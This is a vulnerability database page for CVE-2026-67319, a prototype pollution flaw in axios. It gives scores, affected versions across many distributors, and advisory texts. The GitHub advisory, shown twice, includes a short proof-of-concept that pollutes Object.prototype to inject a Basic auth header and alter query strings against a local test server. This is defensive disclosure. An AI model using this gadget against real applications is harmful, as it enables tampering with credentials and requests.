Every CVESearch/Get API key

CVE-2026-67319

axios before 0.33.0 Prototype Pollution via nested option objects

6.3 MediumFix available

CVE-2026-67319 is a medium vulnerability (CVSS 6.3) in Axios, published July 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 25th percentile. Fixed in axios 0.33.0.

What does this mean?
Severity
6.3 MediumCVSS 4.0, CVE List
Exploit chance
0.32%EPSS, 25th percentile
Exploitation
None knownNot on CISA’s or ENISA’s lists
Fixed in
0.33.0axios +30 more

Description

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
Low
Availability
None

Exploit likelihood

0.32%Up 0.1 points since Aug 2, 2026
90%50%10%1%

Affected products

Affected packages

Affected packages
PackageAffectedFixed
axios
npm
0.8.0 up to 0.33.0
0.33.0
axios
npm
1.0.0 up to 1.18.0
1.18.0
axios
TuxCare:npm
1.7.9-tuxcare.0 up to 1.7.9-tuxcare.2, plus listed versions
1.7.91.7.9-tuxcare.1
1.7.9-tuxcare.2
axios
TuxCare:npm
From an advisory covering 14 CVEs
0.26.0-tuxcare.0 up to 0.26.0-tuxcare.4, plus listed versions
0.26.00.26.0-tuxcare.10.26.0-tuxcare.20.26.0-tuxcare.3
0.26.0-tuxcare.4
axios
TuxCare:npm
From an advisory covering 4 CVEs
0.18.1-tuxcare.0 up to 0.18.1-tuxcare.5, plus listed versions
0.18.10.18.1-tuxcare.10.18.1-tuxcare.20.18.1-tuxcare.30.18.1-tuxcare.4
0.18.1-tuxcare.5
axios
TuxCare:npm
From an advisory covering 3 CVEs
0.19.2-tuxcare.0 up to 0.19.2-tuxcare.5, plus listed versions
0.19.20.19.2-tuxcare.10.19.2-tuxcare.20.19.2-tuxcare.30.19.2-tuxcare.4
0.19.2-tuxcare.5
axios
TuxCare:npm
0.21.4-tuxcare.0 up to 0.21.4-tuxcare.4, plus listed versions
0.21.40.21.4-tuxcare.10.21.4-tuxcare.20.21.4-tuxcare.3
0.21.4-tuxcare.4
axios
TuxCare:npm
From an advisory covering 6 CVEs
1.6.2-tuxcare.0 up to 1.6.2-tuxcare.5, plus listed versions
1.6.21.6.2-tuxcare.11.6.2-tuxcare.21.6.2-tuxcare.31.6.2-tuxcare.4
1.6.2-tuxcare.5
axios
TuxCare:npm
From an advisory covering 13 CVEs
0.27.2-tuxcare.0 up to 0.27.2-tuxcare.5, plus listed versions
0.27.20.27.2-tuxcare.10.27.2-tuxcare.20.27.2-tuxcare.30.27.2-tuxcare.4
0.27.2-tuxcare.5
axios
TuxCare:npm
From an advisory covering 5 CVEs
1.7.9-tuxcare.0 up to 1.7.9-tuxcare.4, plus listed versions
1.7.91.7.9-tuxcare.11.7.9-tuxcare.21.7.9-tuxcare.3
1.7.9-tuxcare.4
Show 21 moreShow less
Affected packages
PackageAffectedFixed
axios
TuxCare:npm
From an advisory covering 4 CVEs
0.26.1-tuxcare.0 up to 0.26.1-tuxcare.5, plus listed versions
0.26.10.26.1-tuxcare.10.26.1-tuxcare.20.26.1-tuxcare.30.26.1-tuxcare.4
0.26.1-tuxcare.5
axios
TuxCare:npm
From an advisory covering 28 CVEs
1.13.5-tuxcare.0 up to 1.13.5-tuxcare.1, plus listed versions
1.13.5
1.13.5-tuxcare.1
axios
TuxCare:npm
From an advisory covering 10 CVEs
1.16.0-tuxcare.0 up to 1.16.0-tuxcare.1, plus listed versions
1.16.0
1.16.0-tuxcare.1
axios
TuxCare:npm
From an advisory covering 9 CVEs
1.17.0-tuxcare.0 up to 1.17.0-tuxcare.2, plus listed versions
1.17.01.17.0-tuxcare.1
1.17.0-tuxcare.2
axios
TuxCare:npm
From an advisory covering 10 CVEs
1.16.1-tuxcare.0 up to 1.16.1-tuxcare.2, plus listed versions
1.16.11.16.1-tuxcare.1
1.16.1-tuxcare.2
axios
TuxCare:npm
From an advisory covering 11 CVEs
0.21.2-tuxcare.0 up to 0.21.2-tuxcare.2, plus listed versions
0.21.20.21.2-tuxcare.1
0.21.2-tuxcare.2
axios
TuxCare:npm
From an advisory covering 32 CVEs
1.13.2-tuxcare.0 up to 1.13.2-tuxcare.2, plus listed versions
1.13.21.13.2-tuxcare.1
1.13.2-tuxcare.2
axios
TuxCare:npm
From an advisory covering 32 CVEs
1.12.2-tuxcare.0 up to 1.12.2-tuxcare.1, plus listed versions
1.12.2
1.12.2-tuxcare.1
axios
TuxCare:npm
From an advisory covering 27 CVEs
1.13.6-tuxcare.0 up to 1.13.6-tuxcare.3, plus listed versions
1.13.61.13.6-tuxcare.11.13.6-tuxcare.2
1.13.6-tuxcare.3
node-axios
Debian:12
All versions, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1
Show 17 moreShow less
1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.2.1+dfsg-11.2.1+dfsg-1+deb12u11.20.0-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-11.6.8+dfsg-21.7.3+dfsg-11.7.4+dfsg-11.7.7+dfsg-11.7.9+dfsg-11.8.4+dfsg-1
None known
node-axios
Debian:13
All versions, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1
Show 7 moreShow less
1.15.0-11.15.2-11.16.0-11.18.0-11.19.0-11.20.0-11.8.4+dfsg-1
None known
node-axios
Debian:14
before 1.18.0-1, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.1+dfsg-11.13.2+dfsg-11.14.0+dfsg-1
Show 4 moreShow less
1.15.0-11.15.2-11.16.0-11.8.4+dfsg-1
1.18.0-1
grafana13.1
Red Hat:hummingbird:1
From an advisory covering 2 CVEs
before 0:13.1.1-0.4.hum1
0:13.1.1-0.4.hum1
grafana12.4
Red Hat:hummingbird:1
From an advisory covering 3 CVEs
before 0:12.4.6-0.3.hum1
0:12.4.6-0.3.hum1
axios
Root:npm
before 1.18.0-aikido.1
1.18.0-aikido.1
@rootio/axios
Root:npm
before 1.18.0-root.io.1
1.18.0-root.io.1
node-axios
Ubuntu:Pro:20.04:LTS
All versions, plus listed versions
0.19.0+dfsg-20.19.0+dfsg-2ubuntu0.1~esm1
None known
node-axios
Ubuntu:Pro:22.04:LTS
All versions, plus listed versions
0.21.1+dfsg-10.23.0+dfsg-20.24.0+dfsg-10.25.0+dfsg-20.26.0+dfsg-10.26.0+dfsg-1ubuntu0.1~esm1
None known
node-axios
Ubuntu:Pro:24.04:LTS
All versions, plus listed versions
1.2.1+dfsg-11.5.1+dfsg-11.6.2+dfsg-11.6.8+dfsg-21.6.8+dfsg-2ubuntu0.1~esm1
None known
node-axios
Ubuntu:Pro:26.04:LTS
All versions, plus listed versions
1.11.0+dfsg-11.12.1+dfsg-11.13.2+dfsg-1build11.13.2+dfsg-1ubuntu0.1~esm1
None known
agama-web-ui
openSUSE:Tumbleweed
From an advisory covering 19 CVEs
before 24+0.a836cced5-52.1
24+0.a836cced5-52.1

What each source reports

CVE List Score used6.3

axios before 0.33.0 Prototype Pollution via nested option objects

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
CVE-2026-67319
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Weakness
CWE-1321
Updated
2026-11-02
EUVDEUVD-2026-518096.3

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
EUVD-2026-51809
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7q8q-rj6j-mhjq6.3

Axios: Nested axios option objects can consume polluted prototype values

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
  • Query serialization through lib/helpers/buildURL.js.
  • axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

  • auth: {} or an auth object missing own username and/or password.
  • paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

  • Requests with no auth property.
  • Requests with no paramsSerializer property.
  • Top-level polluted auth or paramsSerializer values in current hardened versions.

Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

} else if (utils.isPlainObject(source)) {
  return utils.merge({}, source);
}

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

In lib/adapters/http.js:

const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;

In lib/helpers/buildURL.js:

const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;

Proof of Concept of Attack

import http from 'node:http';
import axios from './index.js';

const user = 'attacker';
const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {
  value: user,
  configurable: true
});

Object.defineProperty(Object.prototype, 'password', {
  value: pass,
  configurable: true
});

Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true
});

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    url: req.url
  }));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {
  const port = server.address().port;
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored' }
  });

  console.log(response.data);
} finally {
  await new Promise((resolve) => server.close(resolve));
  delete Object.prototype.username;
  delete…
Record
GHSA-7q8q-rj6j-mhjq
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Weakness
CWE-1321
Updated
2026-11-02
GitHub AdvisoriesGHSA-9wx3-p993-35vp6.3

Duplicate Advisory: Axios: Nested axios option objects can consume polluted prototype values

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-7q8q-rj6j-mhjq. This link is maintained to preserve external references.

Original Description

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
GHSA-9wx3-p993-35vp
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-1321
Updated
2026-11-02
NVD6.3

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
CVE-2026-67319
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-1321
Updated
2026-11-02
OSV6.3

axios before 0.33.0 Prototype Pollution via nested option objects

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
CVE-2026-67319
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Weakness
CWE-1321
Updated
2026-11-02
Show 26 moreShow less
OSVDEBIAN-CVE-2026-673193.7

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
DEBIAN-CVE-2026-67319
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
OSVGHSA-7q8q-rj6j-mhjq6.3

Axios: Nested axios option objects can consume polluted prototype values

Summary

Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.

The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.

Impact

This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.

Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.

The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.

This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.

Affected Functionality

Affected runtime functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser/fetch/XHR Basic auth handling through lib/helpers/resolveConfig.js.
  • Query serialization through lib/helpers/buildURL.js.
  • axios.getUri() when called with an affected paramsSerializer object.

Affected config shapes:

  • auth: {} or an auth object missing own username and/or password.
  • paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.

Unaffected by this specific issue:

  • Requests with no auth property.
  • Requests with no paramsSerializer property.
  • Top-level polluted auth or paramsSerializer values in current hardened versions.

Technical Details

lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:

} else if (utils.isPlainObject(source)) {
  return utils.merge({}, source);
}

Downstream code then reads nested fields without own-property checks.

In lib/helpers/resolveConfig.js:

btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))

In lib/adapters/http.js:

const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;

In lib/helpers/buildURL.js:

const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;

Proof of Concept of Attack

import http from 'node:http';
import axios from './index.js';

const user = 'attacker';
const pass = 'exfil';

Object.defineProperty(Object.prototype, 'username', {
  value: user,
  configurable: true
});

Object.defineProperty(Object.prototype, 'password', {
  value: pass,
  configurable: true
});

Object.defineProperty(Object.prototype, 'serialize', {
  value: () => 'polluted=1',
  configurable: true
});

const server = http.createServer((req, res) => {
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({
    authorization: req.headers.authorization || null,
    url: req.url
  }));
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));

try {
  const port = server.address().port;
  const response = await axios.get(`http://127.0.0.1:${port}/demo`, {
    auth: {},
    paramsSerializer: {},
    params: { unused: 'ignored' }
  });

  console.log(response.data);
} finally {
  await new Promise((resolve) => server.close(resolve));
  delete Object.prototype.username;
  delete…
Record
GHSA-7q8q-rj6j-mhjq
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
Weakness
CWE-1321
Updated
2026-11-02
OSVGHSA-9wx3-p993-35vp6.3

Duplicate Advisory: Axios: Nested axios option objects can consume polluted prototype values

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-7q8q-rj6j-mhjq. This link is maintained to preserve external references.

Original Description

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
GHSA-9wx3-p993-35vp
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness
CWE-1321
Updated
2026-11-02
OSVRHSA-2026:493877.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:49387
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-13
OSVRHSA-2026:494017.5

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:49401
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Updated
2026-11-13
OSVUBUNTU-CVE-2026-673196.3

axios before 0.33.0 (and 1.x before 1.18.0) can consume inherited properties from nested request option objects when the JavaScript process's Object.prototype has already been polluted by another component. While the top-level merged config uses a null prototype, nested plain objects such as auth and paramsSerializer are cloned into ordinary objects and read without own-property checks. When an application passes placeholder nested objects such as auth: {} or paramsSerializer: {}, inherited username/password values can cause silent injection of an Authorization: Basic header, and inherited encode/serialize values can alter query-string serialization (full serializer replacement requires a function-valued pollution primitive). This is exploitable only in the presence of pre-existing prototype pollution.

Record
UBUNTU-CVE-2026-67319
CVSS 4.0
6.3 MediumCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
CVSS 3.1
3.7 LowCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Updated
2026-11-02
OSVCLSA-2026-1784856426No score

TuxCare security update for axios (2 CVEs)

TuxCare rebuilt axios to address 2 CVEs. Fixed in 1.7.9-tuxcare.2.

Record
CLSA-2026-1784856426
Updated
2026-11-02
OSVCLSA-2026-1785468080No score

TuxCare security update for axios (15 CVEs)

TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.0-tuxcare.4.

Record
CLSA-2026-1785468080
Updated
2026-11-02
OSVCLSA-2026-1787796805No score

TuxCare security update for axios (4 CVEs)

TuxCare rebuilt axios to address 4 CVEs. Fixed in 0.18.1-tuxcare.5.

Record
CLSA-2026-1787796805
Updated
2026-11-02
OSVCLSA-2026-1787828503No score

TuxCare security update for axios (3 CVEs)

TuxCare rebuilt axios to address 3 CVEs. Fixed in 0.19.2-tuxcare.5.

Record
CLSA-2026-1787828503
Updated
2026-11-02
OSVCLSA-2026-1787841237No score

TuxCare security update for axios (1 CVE)

TuxCare rebuilt axios to address 1 CVE. Fixed in 0.21.4-tuxcare.4.

Record
CLSA-2026-1787841237
Updated
2026-11-02
OSVCLSA-2026-1787930147No score

TuxCare security update for axios (6 CVEs)

TuxCare rebuilt axios to address 6 CVEs. Fixed in 1.6.2-tuxcare.5.

Record
CLSA-2026-1787930147
Updated
2026-11-02
OSVCLSA-2026-1787930357No score

TuxCare security update for axios (13 CVEs)

TuxCare rebuilt axios to address 13 CVEs. Fixed in 0.27.2-tuxcare.5.

Record
CLSA-2026-1787930357
Updated
2026-11-02
OSVCLSA-2026-1788195644No score

TuxCare security update for axios (5 CVEs)

TuxCare rebuilt axios to address 5 CVEs. Fixed in 1.7.9-tuxcare.4.

Record
CLSA-2026-1788195644
Updated
2026-11-02
OSVCLSA-2026-1790115018No score

TuxCare security update for axios (4 CVEs)

TuxCare rebuilt axios to address 4 CVEs. Fixed in 0.26.1-tuxcare.5.

Record
CLSA-2026-1790115018
Updated
2026-11-02
OSVCLSA-2026-1790764333No score

TuxCare security update for axios (28 CVEs)

TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.

Record
CLSA-2026-1790764333
Updated
2026-11-02
OSVCLSA-2026-1790767846No score

TuxCare security update for axios (10 CVEs)

TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.0-tuxcare.1.

Record
CLSA-2026-1790767846
Updated
2026-11-02
OSVCLSA-2026-1792139363No score

TuxCare security update for axios (9 CVEs)

TuxCare rebuilt axios to address 9 CVEs. Fixed in 1.17.0-tuxcare.2.

Record
CLSA-2026-1792139363
Updated
2026-11-02
OSVCLSA-2026-1792476444No score

TuxCare security update for axios (10 CVEs)

TuxCare rebuilt axios to address 10 CVEs. Fixed in 1.16.1-tuxcare.2.

Record
CLSA-2026-1792476444
Updated
2026-11-02
OSVCLSA-2026-1793101832No score

TuxCare security update for axios (11 CVEs)

TuxCare rebuilt axios to address 11 CVEs. Fixed in 0.21.2-tuxcare.2.

Record
CLSA-2026-1793101832
Updated
2026-11-06
OSVCLSA-2026-1793101849No score

TuxCare security update for axios (32 CVEs)

TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.

Record
CLSA-2026-1793101849
Updated
2026-11-02
OSVCLSA-2026-1793110604No score

TuxCare security update for axios (32 CVEs)

TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.12.2-tuxcare.1.

Record
CLSA-2026-1793110604
Updated
2026-11-02
OSVCLSA-2026-1793874599No score

TuxCare security update for axios (27 CVEs)

TuxCare rebuilt axios to address 27 CVEs. Fixed in 1.13.6-tuxcare.3.

Record
CLSA-2026-1793874599
Updated
2026-11-05
OSVopenSUSE-SU-2026:11680-1No score

agama-web-ui-24+0.a836cced5-52.1 on GA media

These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11680-1
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-67319No score

CVE-2026-67319 in axios - Patched by Root

Root has patched CVE-2026-67319 in the axios package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-67319
Updated
2026-11-02
OSVROOT-APP-NPM-GHSA-9wx3-p993-35vpNo score

GHSA-9wx3-p993-35vp in axios - Patched by Root

Root has patched GHSA-9wx3-p993-35vp in the axios package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-GHSA-9wx3-p993-35vp
Updated
2026-11-02

History

History
RecordedChangedSources
affected, aliases, published, references
affected, aliasesOSV
affected
affected, aliases, factsOSV
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

Show 51 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open